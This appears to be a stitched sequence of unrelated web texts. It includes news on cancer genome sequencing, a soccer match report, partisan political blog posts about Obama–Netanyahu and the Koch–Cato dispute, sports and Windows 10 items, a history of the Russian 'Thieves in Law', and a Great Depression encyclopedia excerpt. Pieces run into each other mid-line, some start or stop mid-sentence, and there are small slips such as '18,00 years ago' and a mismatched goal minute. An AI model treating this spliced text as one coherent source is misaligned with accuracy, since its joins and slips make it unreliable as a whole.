Wellcome Trust scientist Professor Michael Stratton The International Cancer Genome Consortium scientists from the 10 countries involved say it will take them at least five years and many hundreds of thousands of dollars to complete this mammoth task. But once they have done this, patients will reap the benefits. Professor Michael Stratton, who is the UK lead, said: "These catalogues are going to change the way we think about individual cancers. "By identifying all the cancer genes we will be able to develop new drugs that target the specific mutated genes and work out which patients will benefit from these novel treatments. "We can envisage a time when following the removal of a cancer cataloguing it will become routine." It could even be possible to develop MoT-style blood tests for healthy adults that can check for tell-tale DNA patterns suggestive of cancer. Russian roulette The scientists found the DNA code for a skin cancer called melanoma contained more than 30,000 errors almost entirely caused by too much sun exposure. Most of the time the mutations will land in innocent parts of the genome, but some will hit the right targets for cancer
Wellcome Trust researcher Dr Peter Campbell The lung cancer DNA code had more than 23,000 errors largely triggered by cigarette smoke exposure. From this, the experts estimate a typical smoker acquires one new mutation for every 15 cigarettes they smoke. Although many of these mutations will be harmless, some will trigger cancer. Wellcome Trust researcher Dr Peter Campbell, who conducted this research, published in the journal Nature, said: "It's like playing Russian roulette. "Most of the time the mutations will land in innocent parts of the genome, but some will hit the right targets for cancer." By quitting smoking, people could reduce their cancer risk back down to "normal" with time, he said. The suspicion is lung cells containing mutations are eventually replaced with new ones free of genetic errors. By studying the cancer catalogues in detail, the scientists say it should be possible to find exactly which lifestyle and environmental factors trigger different tumours. Treatment and prevention Tom Haswell, who was successfully treated 15 years ago for lung cancer, believes the research will benefit the next generation: "For future patients I think it's tremendous news because hopefully treatments can be targeted to their particular genome mutations, hopefully... reducing some of the side effects we get". Cancer experts have applauded the work. The Institute of Cancer Research said: "This is the first time that a complete cancer genome has been sequenced and similar insights into other cancer genomes are likely to follow. "As more cancer genomes are revealed by this technique, we will gain a greater understanding of how cancer is caused and develops, improving our ability to prevent, treat and cure cancer." Professor Carlos Caldas, from Cancer Research UK's Cambridge Research Institute called the research "groundbreaking". "Like molecular archaeologists, these researchers have dug through layers of genetic information to uncover the history of these patients' disease. "What is so new in this study is the researchers have been able to link particular mutations to their cause. "The hope and excitement for the future is that we will eventually have detailed picture of how different cancers develop, and ultimately how better to treat and prevent them."
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— The Buffalo Bayou, a slow-moving river formed 18,00 years ago, runs through modern Houston, Texas. Periodically every day, bursts of oxygen are jetted into the river, a process called “burping” to prevent the waterway from becoming stale and stagnant.
Both the North Carolina FC and Houston Dynamo would need many bursts of oxygen for their fourth round clash in the 2017 Lamar Hunt U.S. Open Cup. Through 120 minutes of play, plus an 88-minute lightning delay, an extra time goal by Houston’s Memo Rodriguez gave the Dynamo a 3-2 win over NCFC.
North Carolina FC were missing injured regulars Connor Tobin and James Marcelin. Forward Matt Fondy remained on the bench for the opening half, stayed by midfielder Saeed Robinson. However, the team welcomed back fullback Paul Black, who missed the previous six matches with a hamstring injury.
Meanwhile, the Dynamo sported an XI full of reservists and at least two members of the Rio Valley Grande FC, their USL affiliate club. Among their starters was Andrew Wenger, the former Duke University standout and Hermann Trophy winner.
The home side fulfilled their early high hopes in just the fourth minute. A Saeed Robinson shot was cleared just outside the penalty arc, where fullback Steven Miller’s one-touch, left-footed rope from 22 yards out flew past Dynamo keeper Joe Willis for the 1-0 lead.
After several knocks at the door, Houston equalized in the 25th minute. Vicente Sanchez shed Black off the right wing, then served up a cross that found a sliding Wenger, whose redirection bounded past goalkeeper Brian Sylvestre. That said, Sylvestre’s three first half saves kept the score knotted at 1-1 entering intermission.
Houston held 62 percent possession the first half, a level of assertiveness that dismayed North Carolina FC manager Colin Clarke.
“We weren’t getting close enough to them pressure-wise in the first half,” Clarke said.
Clarke brought on Fondy to being the second stanza, but despite NCFC’s aggressive run of play to start the half, a miscue handed Houston their first lead in the 62nd minute. Sylvestre played out to Austin da Luz, who turned upfield and was promptly dispossessed by the Dynamo’s Dylan Remick. Remick took a couple of touches before slotting his shot past Sylvestre for the 2-1 advantage.
After Houston shots found the woodwork three times, North Carolina FC finally found their own equalizer in the 69th minute. Deadball specialist Lance Laing looped a free kick from 25 yards out that short-hopped past Willis to tie the score at 2-2.
Last year’s Open Cup match between Carolina and the New England Revolution was stopped just 10 minutes in for a delay of over two hours. This year, with only two minutes remaining in regulation time, Mother Nature decided to intervene in another gripping Cup tie, as looming lightning finally halted the game. After play resumed at 10:52 p.m., the teams played out the rest of regulation plus three minutes of added time without a goal.
The opening half of extra time came and went without a goal. North Carolina FC’s best chance came in the 94th minute, when Matt Fondy’s point-blank, horizontal header was smothered by Willis.
With North Carolina FC’s final substitution standing at the table, Houston forged ahead for the final time in the 109th minute. A subpar clearance bounded out to Dynamo midfielder Memo Rodriguez, who slipped a shot from beyond the area past Sylvestre for the game-winner.
Houston Dynamo manager Wilmer Cabrera, who suffered his own extra time loss to the former Carolina RailHawks in 2014 while managing the erstwhile Chivas USA, admitted part of his team’s strategy against NCFC was high pressing and closely marking wingers Laing and Tiyi Shipalane.
“We needed to pressure, we needed to impose ourselves,” Cabrera said. “Despite having seven players from our affiliated USL team, we needed to come over here and pressure the ball, and it was good.”
“It was probably a fun game to watch,” Clarke said. “It was pretty much end-to-end with a lot of chances and opportunities. Maybe the little bit of quality [Houston] had told in the end. We had enough chances to win the game and go ahead in extra time, but we weren’t clinical enough in front of goal.”
For North Carolina FC, who once feasted on MLS competition at WakeMed Soccer Park, it’s their third consecutive loss to MLS opponents in the Open Cup. Tonight’s extra time defeat mirrors last year’s Open Cup result with the New England Revolution, which Carolina also lost by a goal in extra time.
North Carolina FC resumes NASL play this Saturday at Indy Eleven. NCFC returns to Cary the following Saturday, June 24 for a rematch with the Eleven.
BOX SCORE
LINEUPS
NCFC: Sylvestre, Black, Ibeagha, Ruhaak, Miller, da Luz (Akinyode, 88’), Albadawi, Shipalane (Shriver, 109’), Laing, S. Robinson (Fondy, 46’), SchulerHOUSTON: Willis; K. Garcia, Hunter, Anibaba, Remick, Bird, Holland (Escalante, 81’), Ward, Rodriguez (James, 111’), Wenger, Sánchez (Luna, 78’)
GOALS
NCFC: Miller, 4’; Laing, 69’
HOU: Wenger, 25’ (Sanchez); Remick, 62’; Rodriguez, 108’
CAUTIONS
NCFC: Da Luz, 43’
BOU: Bird, 66’; Wenger, 87’; Luna, 101’
EJECTIONS
NCFC: ---
HOU: ---
ATTENDANCE: 4,325UNREAL… Obama Invites Egypt’s Muslim Brotherhood President to Meet Next Week – Refuses to Meet Netanyahu
Unbelievable!…
Barack Obama invited Muslim Brotherhood Egyptian President Mohammad Morsi to meet with him in New York next week.
But, not Netanyahu.
Israeli Prime Minister Benjamin Netanyahu lectured Barack Obama in the Oval Office on the dangers facing the Jews back in May 2011.
But… Barack Obama won’t meet with Israeli leader Netanyahu over Iran row.
He’s going to be campaigning and on Letterman.
Reuters reported:
The White House has rejected a request by Prime Minister Benjamin Netanyahu to meet President Barack Obama in the United States this month, an Israeli official said on Tuesday, after a row erupted between the allies over Iran’s nuclear programme. An Israeli official told Reuters on condition of anonymity that Netanyahu’s aides had asked for a meeting when he visits the United Nations this month, and “the White House has got back to us and said it appears a meeting is not possible. It said that the president’s schedule will not permit that”. Netanyahu has met with Obama on all the Israeli leader’s U.S. trips since 2009.
Earlier today President Muhammad Morsi promised to sue the US filmmakers who produced a movie that insulted the prophet Mohammad.
UPDATE: Barack Obama told NBC tonight “I don’t think that we would consider (Egypt) an ally.”
(Maybe he should have thought about that before he threw Mubarak under the bus!)JACKSONVILLE, Fla. - Alabama is crazy about its football, from coaches Nick Saban and Paul William "Bear" Bryant, to the cries of "War Eagle" and "Roll Tide."
When the U.S. soccer team plays Ghana at 5 p.m. Monday for its first match of the 2014 World Cup in Brazil, a footballer of a different sort from the Heart of Dixie is set to make his debut.
Icelandic-American striker Aron Johannsson, of Mobile, is one of 23 men representing the U.S. soccer team in the international competition.
"I'm obviously excited when I get messages on Twitter and Facebook," Johannsson said prior to the U.S. World Cup send-off match June 7 in Jacksonville. "People telling me they are proud of having me as a guy from Alabama, the only guy on the national team. In the World Cup, hopefully I'll get some minutes and make those people proud."
Johannsson spent his first three years in Mobile while his parents attended the University of South Alabama. His memories from then are limited to his parents' photographs and videos.
"Obviously it's a big part of my life," said Johannsson, 24. "I was born there... and my roots are from there. Hopefully, at some point in my life, my mom and dad and my family will go there and show me where I was born and where we lived."
A dual citizen of the U.S. and Iceland, Johannsson declared for the American team last July - much to the chagrin of the Football Association of Iceland.
"The only thing that has been pointed out to (the Football Association of Iceland) from an interested party, is that his income potential, as a USA player, is much greater, both in the form of grants and sponsorship, than if he were an Iceland player," the organization said in a statement following Johannsson's decision. "There is no logic behind Aron relinquishing his Icelandic soccer identity."
Nevertheless, U.S. soccer fans have claimed him as their own. Mike Lynch, of Mobile, called Johannsson an integral piece of the city's heritage.
"He might as well have lived here his entire life, started Mardi Gras, and been there with Joe Cain," Lynch said.
Following Johannsson's header goal in a friendly game against Azerbaijan last month ahead of the World Cup, the Birmingham chapter of the American Outlaws, the U.S. Soccer fan club, tweeted:
U.S. Soccer Coach Jurgen Klinsmann named Johannsson last month to the final final World Cup roster.
"When I found I was going to Brazil, I was really, really happy and very proud of myself," Johannsson said. "It's hard to describe the feeling, but it's amazing."
Johannsson's allegiance to the United States team was a coup for Klinsmann, who has actively and publically recruited dual citizens. Last year, Johannsson scored 20 goals in 39 appearances last with the Netherlands-based club team AZ Alkmaar.
Klinsmann praised Johannsson, known more for his speed and elusiveness than his size, as a player who "can make things happen."
"He's a different type of player, he's unique in his own way and that's why we love to have him," Klinsmann said. "Right now he's getting used to the work load prior to the World Cup, which is a lot on him."
Nevertheless, Johannsson is primed to "make an impact," in the World Cup, Klinsmann said.
"Overall he's a player who has a very bright future ahead of him," Klinsmann said. "It's exciting to see him grow and grow."
American striker Jozy Altidore spent the 2013 season playing alongside Johannsson for team AZ Alkmaar.
"I've always said from Day 1, I think Aron is a really, really good player," Altidore said.
U.S. soccer midfielder Michael Bradley described the forward as "smart, intelligent, and easy to play with."
"He gives you the ball when it's good for you," Bradley said. "He's a guy in a short amount of time who has established himself in a good way."
Johannsson moved back to Iceland when he was a boy but moved to Bradenton, Fla., as a teenager to train at the IMG Academy, in Bradenton. The boarding school features world-class facilities and nurtured professional soccer talent such at U.S. goalie Tim Howard and U.S. defender DeMarcus Beasley.
"One of the biggest reasons I went there is I can train soccer the whole year round compared to Iceland where the weather in the winter is not the best weather in the world," Johannsson said.
Johannsson admitted that soccer isn't the biggest sport in Alabama, but said he'd like to change it by doing his part for the Americans.
"Obviously I'm really excited that I can make them proud and make the state of Alabama proud," Johannsson said. "I go out there every game and try my best for this team and this country and for the supporters from Alabama."
In Mobile, O'Daly's Irish Pub, 564 Dauphin St., will show the U.S soccer game at 5 p.m. Monday. The bar is the official home of the Mobile chapter of the American Outlaws, the U.S. soccer fan club.A CYCLONE may be about to hit North Queensland but the Cowboys aren’t too concerned — they’re bracing for a collision course with South Sydney on Friday.
Cyclone Debbie was upgraded to a severe category three on Monday morning with the low-moving weather system about 375 kilometres east of Townsville.
While meteorologists are predicting the Townsville region to experience winds more severe than those experienced during Cyclone Yasi, the NRL are hopeful games scheduled for this week will go ahead as planned.
“There are no plans to alter the schedule at this stage,” an NRL spokesman told foxsports.com.au on Monday.
“But we will continue to monitor the situation and weather patterns.”
Latest track map & advice for Tropical #CycloneDebbie, currently Cat 3, with a Cat 4 crossing forecast Tuesday AM. https://t.co/YTkwbdYNGp pic.twitter.com/KwSFrpQvrC — BOM Queensland (@BOM_Qld) March 27, 2017
Cowboys’ general manager of football Peter Parr echoed the NRL’s stance, confident the weather won’t impact their round five clash with the Rabbitohs.
“We don’t see the need to put a contingency plan in place,” Parr told foxsports.com.au.
“The only thing that would stop the game taking place would be if there was structural damage to the stadium.
Ben Ikin, Nathan Ryan and Ben Glover examine Jason Taylor’s sacking at the Wests Tigers and how it impacts the club and its roster going forward.
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“We’re comfortable with the way the weather is tracking.”
Rabbitohs fullback Alex Johnston said the club is preparing to take the field but sends his well wishes to the people up north.
“Our thoughts go out to all the people up there,” Johnston said.
“We hope they’re prepared for it. Obviously were just trying to focus on our game as well. We’ll be up there prepared to play some footy.”
The one area the weather could impact the game is ticket sales with trains running between Townsville and Abbot Point closed.
Download the new FOX SPORTS App to get the latest news and scores from your NRL team.Apparently, being almost completely bent to their will is not enough. These days there’s always room for more.
The Cato Institute is complaining of a “hostile takeover” by the Koch Bros (Wash Post, my emphases and some reparagraphing everywhere):
The Cato Institute’s president, Edward Crane, released a statement responding to the lawsuit filed yesterday by billionaires Charles and David Koch, calling the move “an attempt at a hostile takeover.” Crane accuses Charles Koch of attempting to “transform Cato from an independent, nonpartisan research organization into a political entity that might better support his partisan agenda,” and vowed to keep the think tank “an independent, nonpartisan research organization.” Although the lawsuit names Charles and David Koch as the plaintiffs, Crane’s statement only names Charles Koch. According to the Cato website, David H. Koch remains a member of the board of directors.
If you’re aware of this story, this is probably all you know. Let’s look a little deeper.
■ What does a “hostile takeover” mean in terms of a “think” tank like Cato? For starters, the Cato Institute has owners:
Although it is a non-profit, as initially incorporated, Cato is effectively owned by a board of shareholders. Until recently, this board consisted of Cato President and founder Ed Crane, Charles Koch, David Koch, and the late William Niskanen, each holding equal shares in the corporation.
According to a related Wash Post story:
At the heart of the dispute is the fate of the shares owned by Niskanen, who died in October at age 78 of complications from a stroke. The Koch brothers believe that they have the option to buy Niskanen’s shares, while Cato officials believe that the shares belong to Niskanen’s widow, Kathryn Washburn, according to the complaint.
So it’s lawsuit-on-lawsuit violence. (Aren’t these the people who think too many people file suits? Maybe it’s just too many “other” people.)
■ But why a lawsuit at all, you ask? Why does it matter?
No one knows for sure, but here’s one possibility, from yet a third Post story, quoting Cato board chair Bob Levy (who may or may not be right):
Cato’s board chairman, Bob Levy, said in an interview that the Koch brothers, who have the power to appoint half of the board, have been choosing “Koch operatives” for members, with an eye to push Cato toward support of the Republican Party. “None of the new directors, with the exception of one, has a reputation as a libertarian,” Levy said. “There are a lot of murky areas between actively supporting candidates and what Cato does now, which is working on issues.” Cato scholars often differ with Republicans, holding an noninterventionist foreign policy, for example, and more liberal positions on immigration, same-sex marriage and several other social issues.
Levy’s a Randian true believer, and he sees through that rosy lens. My outside eye will say what he says differently.
If Levy is right, this means that the Billionaire Coup has reached a stage where it’s no longer a semi-loose alliance between the Movement Conservative Project and the Republican Party, with friendly allied interests like “libertarianism” hanging in the satellite circles.
It means that one of the prime forces in the Billionaire Coup is starting to combine its diverse organs into a larger singularity, one where there’s little discernible difference between something called a “libertarian think tank” and something called the “Republican party.”
In other words, MoveCon corporate HQ is starting to fold its subsidiaries into one giant conglomerate — call it We Own Everything, Inc. Bye-bye separate brands.
And this separately-branded “think” tank — which pretends to independence the way a client state pretends to independence — is upset that its nominal ruler is being replaced by a mere provincial procurator.
Think I’m wrong about that client status? Read on.
■ Cato is not an “independent, non-partisan research” organization, contrary to its self-branding. Cato is and always was a Movement Conservative propaganda organ that sometimes does good work and sometimes just advances Movement goals, just as Heritage and AEI do. Cato does enough honest work to make it and their “scholars” credible, and enough propaganda to make you say, “Hmm.”
A fog shop, in other words. As I wrote a while back:
Cato advances a lot of curious positions, such as Social Security privatization and climate-change denial. Cato funds a large group of like-minded think tanks, and they’re pretty good friends with a guy named “Phillip Morris” — still.
Cato was created by Charles Koch (with help from Edward Crane); it was a Koch brothers’ joint from the start:
The Cato Institute is a libertarian think tank headquartered in Washington, D.C. It was founded as the Charles Koch Foundation in 1974 by Charles Koch, chairman of the board and chief executive officer of the conglomerate Koch Industries, Inc., the second largest privately held company
by revenue in the United States. It changed its name to the Cato Institute in December 1976. The Institute’s stated mission is “to increase the understanding of public policies based on the principles of limited government, free markets, individual liberty, and peace. The Institute will use the most effective means to originate, advocate, promote, and disseminate applicable policy proposals[.]”
And here’s David Brock, from the invaluable first chapter of The Republican Noise Machine (which details the creation of MoveCon Project institutions like Cato):
Edward Crane, president of the Cato Institute, another important right-wing think tank founded in the mid-1970s, described the Republican Right’s goal this way: “As we grow, I don’t want us to shift toward the mainstream. I want the mainstream to shift toward us, and that’s our challenge.” [page 46] … Cato officials have said they won’t print any studies that come out favorably toward government programs. And right-wing think tank researchers have been fired for failing to follow the party line. “My contact with [Cato] was strange,” colulmnist Nat Hentoff has said. “They’re ideologues, like Trotskyites. All questions must be seen and solved within the true faith of libertarianism[.] [page 54]
Of course, there’s more where that came from; just check Brock’s index. Like I said, your basic MoveCon fog shop — it dresses like a chicken to confuse you when it quacks.
■ As a side note, keep in mind a slight discrepancy. Charles Koch is the nominal founder of Cato, along with Ed Crane. Further:
Charles Koch was the largest financial backer of Cato in its formative years. More recently, however, the brothers have cut back on their giving to the organization, donating nothing last year, according to Cato officials. The Kochs have given millions of dollars to a new libertarian center at George Mason University [Mercatus, a name to keep in mind]. A Cato spokeswoman last year said that Charles Koch and Crane had a “falling-out” in 1991.
And as the first quote of this piece noted above:
Although the lawsuit names Charles and David Koch as the plaintiffs, Crane’s statement only names Charles Koch. According to the Cato website, David H. Koch remains a member of the board of directors.
Both Kochs are suing him, but Crane’s only calling out Charles. Retainer-on-billionaire violence? If so, we’ll see who wins. (My money’s on Money every time, but you knew that, right?)
GPAfter another outstanding season with Lake Travis, including a state title, Brenden Jaimes was presented with several opportunities from local schools to stay close to home while continuing his football career.
Jaimes told Baylor, TCU and even Tom Herman's Texas Longhorns he already had a home. The Nebraska commit was staying firm.
While Baylor and TCU made public offers to Jaimes during December, Texas was geared up to make a run at the three-star offensive tackle. Jaimes said he told the Longhorns that it wouldn't matter.
"They were talking about making an offer, but I just said, 'Y'all can offer me if y'all want, but I don't think there's a chance I go there.' So I think they just decided to keep that scholarship, which I'm OK with."
The lineman said each school made the same exact pitch, but ultimately he didn't care. He knew where he wanted to be.
"Proximity was their main play," Jaimes said. "Obviously, all of them would be a lot closer to home. My parents could come see me play. It's kind of a selfish deal as a recruit. It's what's best for me. I'm happy with my decision with Nebraska. I'm definitely looking forward to the future.
"I'm 100 percent Nebraska."
Nebraska head coach Mike Riley stopped in to see Jaimes on Monday and the Huskers offensive line coach Mike Cavanaugh has been a fixture down in Austin since the start of the recruiting period.
Jaimes committed to Nebraska in April after his visit for the Red-White game. The lineman came back with his family for an unofficial to watch the Huskers beat Illinois in October. Jaimes takes his official visit at Nebraska on Friday.If you’ve been on WinBeta for more than a few moments for the past few weeks, you’ll have seen us mention Redstone a few times. The big update to Windows 10 has been eagerly anticipated for some time now, and we’ve recently been running into tons of leaks about what it’s going to include. Most recently, we’ve gotten word that Redstone is allowing us to link up our Xbox contacts with the rest of our contacts – providing us with a more cohesive experience when trying to reach our friends.
Assuming your friend has made available to you their real name on Xbox, Windows 10 will make sure that their Xbox account is listed with their e-mail address and phone number as a valid way of contacting them. This advancement in the way that Xbox integrates with Windows 10 is a solid step forward and makes it a bit easier for people to be social using Xbox Live.
While Redstone will likely be where we see this feature fully and properly integrated into Windows 10, you can actually give it a peek right now. If you go about getting the Xbox (beta) app on the Windows store, you’ll be able to choose the option that shows your Xbox contacts to you through the People app. The People app will use whatever your Xbox friend’s avatar is for their contact icon, and lays out everything that the app has on file for that person. While the feature isn’t completely ready to go yet (on account of it being locked away in the Xbox (beta) app while they work out the kinks) it’s steadily being worked on, and the basic idea behind it has proven itself to be rock solid and ready to go.
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Further reading: MicrosoftThieves in Law and the Russian Mafia
In the last couple of decades, organized crime and Russia has had a reputation for goinghand in hand. Ever since the 1930s, an elite group of the Soviet underworld, known asThieves in Law (Vory v Zakone), has controlled the criminal activities in the country, andtoday they make up the leaders of the loosely affiliated organization known as the Russian Mafia. Here is a look at how these “thieves” came to power in Stalin’s Gulags and Russian prisons after World War 2, but also how the situation has changed since the collapse of theSoviet Union in 1991.
Even though there were plenty of criminals in the days of the Tsar, the communist revolutionin 1917 would completely change the Russian underworld. Vladimir Lenin, and especiallyJosef Stalin were in charge of a totalitarian state that had no room for disobedience or peoplequestioning the authorities. Countless persons were executed in the 1930s, and millions ofcriminals and political prisoners were sent to Gulags and prisons, were they were forced to work under extremely harsh conditions. Inside these Soviet prisons, criminals uninterested in the marxist indoctrination of the communist party, decided to form their own society and set of rules. This criminal world had a strict sense of honor and rank, and the elite members were known as thieves by law or “Vory v Zakone”. A prisoner could only be crowned a “thief by law” if he was accepted and respected by other “vory”, and he would have to reject the laws of the outside world, instead submitting himself completely to live by the criminal code.
A “vor” was not allowed to have any family, he couldn’t “snitch” on other thieves, and he was also prohibited from having any legal income. One of the most important aspects of the“Vorovskoy Zakon” (the thief law), was that he could under no circumstances cooperate with the authorities or participate in political activities. This meant refusing to work and not obeying prison guards, risking to be punished by the rest of the brotherhood if they broke the rules. When Hitler attacked the Soviet Union in 1941, Stalin was in desperate need ofsoldiers, and he offered to pardon any prisoner that would fight in the war. The “thieves”were of course strictly opposed to this, but many of the other criminals accepted.
The “Thieves in Law” were on top of the ladder in Russia’s brutal prisons
When the war was over though, many of the freed convicts would return to prison after committing new crimes. They were known as “Suki” (the Russian word for bitches), and now found themselves on the bottom of the prison hierarchy. Other inmates would beat, harassand even rape them for their decision to serve the state. The “Suki” were professional criminals connected by the tough experiences in the war, and as more and more of them wentback to jail, they decided to organize and cooperate with the prison guards, in order tosurvive. This was the beginning of the infamous “Bitch Wars” between the two sides, that would last until around 1953, when Stalin died and millions of prisoners would be released. The prison guards didn’t just do nothing to stop the violence, they encouraged the rivalry between what they saw as “unwanted elements” in Soviet society, and thousands of people would die in the conflict.
Tattoos were an important part of being a “thief in law”, and just with a quick look at somebody, you could know a lot about his rank, criminal activities and prison sentences. The “vory” used a complex system, and sometimes they same symbols could mean different things. One of the most popular images is a church on the chest or back, where the numberof towers and stairs can reveal rank and the number of times he has been to jail. Another famous symbol is stars on the knees, which symbolizes that the “thief” is not ready to kneel forany man or authority. A cat symbolizes a career criminal, while skulls can representmurders. A barbed wire across the forehead means that the person will spend the rest of hislife in jail.
Tattoos can also be used to punish people who have broken the criminal code. A sex offender will for example have a dagger on him, while an informer is marked with a goat. Prisoners who use symbols they have not earned will be beaten severely, and the tattoo will beforcibly removed. Vory also had their own language (jargon) called “Fehnay”, that only theycould understand
A Russian criminal who has had quite an active career
In the 1970s and 80s, the “Vory v Zakone” would change some of their rules to adapt to themodern world. They were able to marry and form families, and they even began to work withthe authorities when it was in their interest. There was a lack of many consumer goods in themarxist economy of the Soviet Union, and the “thieves in law” would control the black market, |
century productivity and economic output surged due in part to electrification, mass production and the increasing motorization of transportation and farm machinery. Electrification and mass production techniques such as Fordism permanently lowered the demand for labor relative to economic output.[49][50] By the late 1920s the resultant rapid growth in productivity and investment in manufacturing meant there was a considerable excess production capacity.[51]
Sometime after the peak of the business cycle in 1923, more workers were displaced by productivity improvements than growth in the employment market could meet, causing unemployment to slowly rise after 1925.[49][52] Also, the work week fell slightly in the decade prior to the depression.[53][54][55] Wages did not keep up with productivity growth, which led to the problem of underconsumption.[49]
Henry Ford and Edward A. Filene were among prominent businessmen who were concerned with overproduction and underconsumption. Ford doubled wages of his workers in 1914. The over-production problem was also discussed in Congress, with Senator Reed Smoot proposing an import tariff, which became the Smoot–Hawley Tariff Act. The Smoot–Hawley Tariff was enacted in June, 1930. The tariff was misguided because the U.S. had been running a trade account surplus during the 1920s.[49]
Another effect of rapid technological change was that after 1910 the rate of capital investment slowed, primarily due to reduced investment in business structures.[50]
The depression led to additional large numbers of plant closings.[22]
It cannot be emphasized too strongly that the [productivity, output and employment] trends we are describing are long-time trends and were thoroughly evident prior to 1929. These trends are in nowise the result of the present depression, nor are they the result of the World War. On the contrary, the present depression is a collapse resulting from these long-term trends. — M. King Hubbert[56]
In the book Mechanization in Industry, whose publication was sponsored by the National Bureau of Economic Research, Jerome (1934) noted that whether mechanization tends to increase output or displace labor depends on the elasticity of demand for the product.[22] In addition, reduced costs of production were not always passed on to consumers. It was further noted that agriculture was adversely affected by the reduced need for animal feed as horses and mules were displaced by inanimate sources of power following WW I. As a related point, Jerome also notes that the term "technological unemployment" was being used to describe the labor situation during the depression.[22]
Some portion of the increased unemployment which characterized the post-War years in the United States may be attributed to the mechanization of industries producing commodities of inelastic demand. — Fredrick C. Wells, 1934[22]
The dramatic rise in productivity of major industries in the U. S. and the effects of productivity on output, wages and the work week are discussed by a Brookings Institution sponsored book.[47]
Corporations decided to lay off workers and reduced the amount of raw materials they purchased to manufacture their products. This decision was made to cut the production of goods because of the amount of products that were not being sold.[6]
Joseph Stiglitz and Bruce Greenwald suggested that it was a productivity-shock in agriculture, through fertilizers, mechanization and improved seed, that caused the drop in agricultural product prices. Farmers were forced off the land, further adding to the excess labor supply.[57]
The prices of agricultural products began to decline after WW I and eventually many farmers were forced out of business, causing the failure of hundreds of small rural banks. Agricultural productivity resulting from tractors, fertilizers and hybrid corn was only part of the problem; the other problem was the change over from horses and mules to internal combustion transportation. The horse and mule population began declining after WW 1, freeing up enormous quantities of land previously used for animal feed.[22][58][59]
The rise of the internal combustion engine and increasing numbers of motorcars and buses also halted the growth of electric street railways.[60]
The years 1929 to 1941 had the highest total factor productivity growth in the history of the U. S., largely due to the productivity increases in public utilities, transportation and trade.[61]
Disparities in wealth and income [ edit ]
Economists such as Waddill Catchings, William Trufant Foster, Rexford Tugwell, Adolph Berle (and later John Kenneth Galbraith), popularized a theory that had some influence on Franklin D. Roosevelt.[62] This theory held that the economy produced more goods than consumers could purchase, because the consumers did not have enough income.[63][64][65] According to this view, in the 1920s wages had increased at a lower rate than productivity growth, which had been high. Most of the benefit of the increased productivity went into profits, which went into the stock market bubble rather than into consumer purchases. Thus workers did not have enough income to absorb the large amount of capacity that had been added.[49]
According to this view, the root cause of the Great Depression was a global overinvestment while the level of wages and earnings from independent businesses fell short of creating enough purchasing power. It was argued that government should intervene by an increased taxation of the rich to help make income more equal. With the increased revenue the government could create public works to increase employment and 'kick start' the economy. In the USA the economic policies had been quite the opposite until 1932. The Revenue Act of 1932 and public works programmes introduced in Hoover's last year as president and taken up by Roosevelt, created some redistribution of purchasing power.[65][66]
The stock market crash made it evident that banking systems Americans were relying on were not dependable. Americans looked towards insubstantial banking units for their own liquidity supply. As the economy began to fail, these banks were no longer able to support those who depended on their assets – they did not hold as much power as the larger banks. During the depression, "three waves of bank failures shook the economy."[67] The first wave came just when the economy was heading in the direction of recovery at the end of 1930 and the beginning of 1931. The second wave of bank failures occurred "after the Federal Reserve System raised the rediscount rate to staunch an outflow of gold"[67] around the end of 1931. The last wave, which began in the middle of 1932, was the worst and most devastating, continuing "almost to the point of a total breakdown of the banking system in the winter of 1932–1933."[67] The reserve banks led the United States into an even deeper depression between 1931 and 1933, due to their failure to appreciate and put to use the powers they withheld – capable of creating money – as well as the "inappropriate monetary policies pursued by them during these years".[67]
Gold Standard system [ edit ]
According to the gold standard theory of the Depression, the Depression was largely caused by the decision of most western nations after World War I to return to the gold standard at the pre-war gold price. Monetary policy, according to this view, was thereby put into a deflationary setting that would over the next decade slowly grind away at the health of many European economies.[68]
This post-war policy was preceded by an inflationary policy during World War I, when many European nations abandoned the gold standard, forced[citation needed] by the enormous costs of the war. This resulted in inflation because the supply of new money that was created was spent on war, not on investments in productivity to increase demand that would have neutralized inflation. The view is that the quantity of new money introduced largely determines the inflation rate, and therefore, the cure to inflation is to reduce the amount of new currency created for purposes that are destructive or wasteful, and do not lead to economic growth.
After the war, when America and the nations of Europe went back on the gold standard, most nations decided to return to the gold standard at the pre-war price. When Britain, for example, passed the Gold Standard Act of 1925, thereby returning Britain to the gold standard, the critical decision was made to set the new price of the Pound Sterling at parity with the pre-war price even though the pound was then trading on the foreign exchange market at a much lower price. At the time, this action was criticized by John Maynard Keynes and others, who argued that in so doing, they were forcing a revaluation of wages without any tendency to equilibrium. Keynes' criticism of Winston Churchill's form of the return to the gold standard implicitly compared it to the consequences of the Treaty of Versailles.
One of the reasons for setting the currencies at parity with the pre-war price was the prevailing opinion at that time that deflation was not a danger, while inflation, particularly the inflation in the Weimar Republic, was an unbearable danger. Another reason was that those who had loaned in nominal amounts hoped to recover the same value in gold that they had lent.[citation needed] Because of the reparations that Germany had to pay France, Germany began a credit-fueled period of growth in order to export and sell enough goods abroad to gain gold to pay the reparations. The U.S., as the world's gold sink, loaned money to Germany to industrialize, which was then the basis for Germany paying back France, and France paying back loans to the U.K. and the U.S. This arrangement was codified in the Dawes Plan.
In some cases, deflation can be hard on sectors of the economy such as agriculture, if they are deeply in debt at high interest rates and are unable to refinance, or that are dependent upon loans to finance capital goods when low interest rates are not available. Deflation erodes the price of commodities while increasing the real liability of debt. Deflation is beneficial to those with assets in cash, and to those who wish to invest or purchase assets or loan money.
More recent research, by economists such as Temin, Ben Bernanke, and Barry Eichengreen, has focused on the constraints policy makers were under at the time of the Depression. In this view, the constraints of the inter-war gold standard magnified the initial economic shock and were a significant obstacle to any actions that would ameliorate the growing Depression. According to them, the initial destabilizing shock may have originated with the Wall Street Crash of 1929 in the U.S., but it was the gold standard system that transmitted the problem to the rest of the world.[69]
According to their conclusions, during a time of crisis, policy makers may have wanted to loosen monetary and fiscal policy, but such action would threaten the countries' ability to maintain their obligation to exchange gold at its contractual rate. The gold standard required countries to maintain high interest rates to attract international investors who bought foreign assets with gold. Therefore, governments had their hands tied as the economies collapsed, unless they abandoned their currency's link to gold. Fixing the exchange rate of all countries on the gold standard ensured that the market for foreign exchange can only equilibrate through interest rates. As the Depression worsened, many countries started to abandon the gold standard, and those that abandoned it earlier suffered less from deflation and tended to recover more quickly.[70]
